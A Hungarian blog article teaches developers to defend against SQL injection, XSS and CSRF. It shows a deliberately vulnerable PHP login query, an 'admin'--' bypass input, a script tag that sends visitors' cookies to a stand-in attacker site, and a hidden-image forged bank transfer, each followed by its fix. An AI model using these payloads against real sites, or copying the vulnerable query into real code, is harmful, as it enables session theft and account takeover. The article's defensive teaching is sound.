Fejlesztőként az alkotás öröme hajt minket. Új funkciókat építünk, optimalizáljuk a kódot, és életre keltjük az ötleteket. De miközben a digitális felhőkarcolóinkat húzzuk fel, gondolunk azokra is, akik nem építeni, hanem rombolni akarnak? A kiberbiztonság nem egy opcionális extra, hanem a professzionális szoftverfejlesztés alapja. Egyetlen rosszul kezelt input, és az egész rendszer veszélybe kerülhet.
Nem kell ahhoz „security researcher”-nek lenned, hogy biztonságos kódot írj. Elég, ha ismered a leggyakoribb támadási felületeket és az ellenük bevethető, jól bevált védekezési stratégiákat. Ebben a cikkben körbejárjuk a webalkalmazásokat fenyegető három leggyakoribb veszélyt, és megnézzük, hogyan húzhatsz fel ellenük egy áthatolhatatlan pajzsot.
1. Az Első Nagy Gonosz: SQL Injection (SQLi)
Talán a leghírhedtebb sebezhetőség. Lényege, hogy a támadó a felhasználói bemeneti mezőkön (pl. űrlapok, URL paraméterek) keresztül olyan adatokat küld, amelyek megváltoztatják a szerver oldalon futó SQL lekérdezés szerkezetét.
Hogyan működik?
Tegyük fel, van egy egyszerű bejelentkezési formád, aminek a kódja valahogy így néz ki (PHP példa, de a logika bármely nyelven ugyanaz):
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// ...lekérdezés futtatása...
Ez a kód ordít a veszélytől! Mi történik, ha egy támadó a username mezőbe ezt írja: admin’– ? A password mezőt üresen hagyja.
Az összeálló SQL parancs ez lesz:
SELECT * FROM users WHERE username = 'admin'--' AND password = ''
Az SQL-ben a — a sorvégi komment jele. Így a lekérdezés jelszóellenőrzés nélkül, sikeresen visszaadja az admin felhasználó sorát. Gratulálok, a támadó belépett.
A Pajzs: Hogyan védekezz?
Felejtsd el a string-összefűzést SQL parancsoknál! A megoldás a paraméterezett lekérdezések (prepared statements) használata. Itt az adatot és a parancsot teljesen elkülönítve küldöd el az adatbázis-kezelőnek.codePHP
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
Ebben az esetben az adatbázis-motor a ? helyére beillesztett értéket kizárólag adatként kezeli, nem pedig a parancs részeként. Az SQL Injection ezzel a módszerrel gyakorlatilag kivédhető. Ha modern keretrendszert vagy ORM-et (pl. Eloquent, Doctrine, TypeORM) használsz, jó eséllyel ez az alapértelmezett működés, de mindig győződj meg róla!
2. A Láthatatlan Kém: Cross-Site Scripting (XSS)
Az XSS lényege, hogy a támadó rosszindulatú kliens oldali kódot (általában JavaScriptet) juttat be az alkalmazásodba, ami aztán más, ártatlan felhasználók böngészőjében fut le. Ezzel ellophatja a felhasználók session cookie-jait, átirányíthatja őket kártékony oldalakra, vagy módosíthatja a weboldal tartalmát.
Hogyan működik?
Képzelj el egy egyszerű komment szekciót a blogodon. Egy támadó a következő hozzászólást írja:
Szuper cikk! Nézzétek meg ezt is:
<script>document.location='http://gonosz-oldal.com/cookie-rablo.php?c=' + document.cookie</script>
Ha a backended naivan elmenti ezt a szöveget, és a frontend pedig változtatás nélkül beilleszti a HTML-be, akkor minden látogató, aki megnyitja az oldalt, a tudta nélkül elküldi a saját session cookie-ját a támadó szerverére.
A Pajzs: Hogyan védekezz?
A legfontosabb szabály: soha ne bízz a felhasználótól érkező adatban! Amikor felhasználói tartalmat jelenítesz meg a HTML-ben, mindig végezz kimeneti kódolást (output encoding). Ez a gyakorlatban azt jelenti, hogy a speciális HTML karaktereket (mint a <, >, ” vagy ‘) ártalmatlan entitásokká alakítod (<, >, ", ').
A legtöbb modern sablonozó motor (Twig, Blade, React, Vue) ezt alapértelmezetten megteszi helyetted, de fontos tudnod, mikor kell manuálisan beavatkozni (pl. dangerouslySetInnerHTML Reactban).
További védelmi vonalként beállíthatod a Content Security Policy (CSP) HTTP fejlécet, amivel pontosan megszabhatod, hogy a böngésző milyen forrásokból (scriptek, képek, stíluslapok) tölthet be tartalmat.
3. A Megtévesztő Parancs: Cross-Site Request Forgery (CSRF)
Ez egy alattomosabb támadás. A célja, hogy a bejelentkezett felhasználó böngészőjét rávegye egy olyan művelet végrehajtására, amit a felhasználó nem akart megtenni (pl. jelszóváltoztatás, termék vásárlása, üzenet küldése). A támadás a böngészők azon tulajdonságát használja ki, hogy minden kéréshez automatikusan csatolják az adott domainhez tartozó cookie-kat (így a session ID-t is).
Hogyan működik?
A felhasználó be van jelentkezve a bankom.hu oldalra. Eközben megnyit egy másik, a támadó által irányított weboldalt, ami tartalmaz egy rejtett képet:
<img src="https://bankom.hu/utalas?cimzett=tamado&osszeg=100000" width="1" height="1">
A böngésző, látva az img taget, automatikusan elküldi a kérést a bankom.hu szervernek, csatolva hozzá a felhasználó session cookie-ját. A szerver azt hiszi, hogy ez egy legitim kérés a felhasználótól, és ha nincs megfelelő védelem, végrehajtja az utalást.
A Pajzs: Hogyan védekezz?
A leghatékonyabb védekezés az Anti-CSRF tokenek használata. A folyamat a következő:
- Amikor a szerver egy űrlapot generál (pl. egy jelszócsere formot), elhelyez benne egy rejtett input mezőt egy egyedi, véletlenszerűen generált értékkel (tokennel). Ezt a tokent a szerver a felhasználó sessionjéhez köti.
- Amikor a felhasználó elküldi az űrlapot, a token is elküldésre kerül.
- A szerver oldalon a fogadott tokent összehasonlítják a sessionben tárolt értékkel. Ha a kettő nem egyezik, a kérés érvénytelen.
Mivel a támadó külső oldalról nem tudja kitalálni a felhasználóhoz tartozó, frissen generált tokent, a kérése sikertelen lesz. A legtöbb modern backend keretrendszer beépítve tartalmaz CSRF védelmet.
Összegzés
A biztonságtudatosság nem egy projekt, hanem egy szemléletmód. Ha csak a három legfontosabb tanulságot kellene kiemelnem, azok ezek lennének:
- SQLi ellen: Használj paraméterezett lekérdezéseket. Mindig.
- XSS ellen: Kódolj minden felhasználói kimenetet, mielőtt a HTML-be írod.
- CSRF ellen: Használj Anti-CSRF tokeneket minden állapotot megváltoztató kérésnél.
Ezen felül ne feledkezz meg a függőségeid naprakészen tartásáról (npm audit, composer audit), a HTTPS használatáról, és a minimális jogosultság elvének betartásáról. Egyetlen eszköz vagy technika sem nyújt 100%-os védelmet, de több rétegnyi, tudatosan felépített védelemmel minimalizálhatod a kockázatokat.
A biztonságos kód írása a mi felelősségünk. Építsünk olyan alkalmazásokat, amelyek nemcsak működnek, de ellenállnak a támadásoknak is
Érdekel még más is? API-k világa: Hogyan tervezzünk és építsünk jó RESTful és GraphQL API-kat?